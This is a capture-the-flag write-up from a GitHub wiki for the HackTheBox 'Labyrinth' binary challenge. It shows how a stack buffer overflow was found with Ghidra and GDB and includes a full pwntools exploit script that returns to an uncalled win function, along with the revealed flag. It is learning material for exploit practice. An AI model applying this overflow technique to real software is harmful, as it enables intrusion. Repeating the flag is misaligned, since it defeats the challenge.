HTB Labyrinth writeup - Pez1181/CTF GitHub Wiki

๐Ÿง  Labyrinth โ€“ CTF Writeup

๐Ÿ“ฆ Challenge Type

  • Binary Exploitation (pwn)

๐Ÿ” Vulnerability

  • Stack Buffer Overflow

๐Ÿ›ก๏ธ Protections

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found โœ…
NX:       NX enabled ๐Ÿšซ (we can't run shellcode)
PIE:      No PIE โœ… (static binary, fixed addresses)

๐Ÿงญ Initial Recon

Running the binary presents a classic str compare input nugget, hinting that some door number triggers another code path:

Select door:

Door: 001 Door: 002 ... Door: 100
>>

๐Ÿ”‘ Finding the Trigger

Upon decompiling main() in Ghidra, I found:

fgets(local_18, 5, stdin);
if (strncmp(local_18, "69", 2) == 0 || strncmp(local_18, "069", 3) == 0)
{
    // Prompt about changing your mind
    fgets(local_38, 0x44, stdin); // ๐Ÿงจ Vulnerable input
}

Entering 69 or '069' gives a second input prompt. Looking closer at this second input revealed the vulnerability.


๐Ÿ”ฅ Vulnerability Discovery

char local_38[32];
fgets(local_38, 0x44, stdin); // 0x44 = 68 bytes into a 32-byte buffer!

โžก๏ธ Classic stack-based buffer overflow.
โžก๏ธ We can overwrite the return address and hijack control flow.


๐Ÿ”Ž Static Analysis: Finding the Win Function

Using Ghidra, I searched for functions with interesting names and found escape_plan():

void escape_plan(void) {
    puts("Congratulations on escaping! ...");
    open("./flag.txt");
    read and print the flag;
    return;
}

However, main() never calls it โ€” nor does any other function.

Using Ghidraโ€™s Xrefs to on escape_plan() confirms: โŒ no calls โ€” it's meant to be exploited.


๐Ÿงฐ Determining the Offset (RIP overwrite)

To find out how many bytes to overflow before overwriting RIP, I used cyclic from Pwntools:

cyclic 100 > pattern.txt
./labyrinth
# Input '69' at the first prompt
# Paste contents of pattern.txt at the second prompt

Then opened GDB:

gdb ./labyrinth core
info registers

From RIP, I extracted the crashed value and found the offset:

cyclic -l <value>

๐Ÿงฎ Result: Offset = 56

That means:

  • 32 bytes for local_38
  • 8 bytes for saved RBP
  • 16 more bytes (possibly padding or alignment)

๐Ÿคฏ The Mystery of the Wrong Address

Using disassemble escape_plan in GDB:

0x401255 <escape_plan>:
    push   rbp
    mov    rbp,rsp

Initially, I tried:

payload = b"A" * 56 + p64(0x401255)

But the binary simply printed "[-] YOU FAILED TO ESCAPE!" โ€” no segfault, but also no flag.

Trying:

payload = b"A" * 56 + p64(0x401256)

๐Ÿ’ฅ Success! Flag printed.

Why?

0x401255 begins with push rbp.
If the stack alignment is off (not 16-byte aligned), glibc quietly fails when escape_plan() is entered via ret.

Jumping to 0x401256 skips the push rbp and avoids alignment issues. Itโ€™s a common exploit trick โ€” jump to function+1.


โœ… Final Exploit Code

from pwn import *

exe = ELF('./labyrinth')
context.binary = exe

p = process('./labyrinth')

escape_plan = 0x401256  # Jump to function+1 to avoid stack issues
offset = 56

payload = b"A" * offset + p64(escape_plan)

# Step 1: trigger hidden input
p.sendlineafter(b'>>', b'69')

# Step 2: overflow the buffer and hijack RIP
p.sendlineafter(b'>>', payload)

# Drop to interactive to see the flag
p.interactive()

๐Ÿ Example Output

[+] Starting local process './labyrinth': pid 21684
[*] Switching to interactive mode

Congratulations on escaping! Here is a sacred spell to help you continue your journey :
HTB{buffer0verfl0w_1s_l0v3}

๐Ÿ’ฌ Final Thoughts

  • We discovered a hidden path by exploring strings in the binary.
  • We used Ghidra + GDB + Pwntools to identify and exploit a stack overflow.
  • The fgets() into a fixed-size buffer was our entry point.
  • Stack alignment matters โ€” and sometimes skipping the first instruction (+1) saves the day.
  • Exploiting non-called win functions is a common CTF technique.

๐Ÿง™โ€โ™‚๏ธ โ€œFly like a bird and be free!โ€ โ€” prophetic advice from the challenge itself.

โš ๏ธ **GitHub.com Fallback** โš ๏ธ